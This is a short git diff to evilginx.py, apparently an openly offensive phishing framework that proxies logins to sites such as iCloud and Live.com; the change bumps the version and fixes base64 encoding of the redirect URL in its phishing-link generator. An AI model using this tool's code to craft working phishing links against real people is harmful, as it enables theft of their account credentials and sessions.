diff --git a/CHANGELOG b/CHANGELOG
index 48ba77c..7afae29 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,3 +1,6 @@
+version 1.1.1 (beta):
+[+] Fixed base64 encoding issue of redirection URLs that broke redirection if URL contained special characters, such as '?'.
+
 version 1.1.0 (2017-06-01):
 [+] Added iCloud.com support.
 [+] Added Live.com support.
diff --git a/evilginx.py b/evilginx.py
index 1f9d744..e1e4cd3 100755
--- a/evilginx.py
+++ b/evilginx.py
@@ -28,7 +28,7 @@
 import subprocess
 import base64
 
-VERSION = 'v.1.1.0'
+VERSION = 'v.1.1.1'
 
 EOL = '\n'
 TAB = '\t'
@@ -673,8 +673,8 @@ def genurl_main(args):
                 if phish_path[0] != '/': phish_path = '/' + phish_path
                 gen_url = url + phish_path
                 if args.redirect != '':
-                    b64redir = base64.urlsafe_b64encode(args.redirect).replace('=','')
-                    gen_url += '?' + cfg.get('site','redir_arg') + '=0' + b64redir
+                    b64redir = base64.b64encode(args.redirect)
+                    gen_url += '?' + cfg.get('site','redir_arg') + '=0' + urllib.quote(b64redir)
                 print ' : ' + gen_url
 
         else: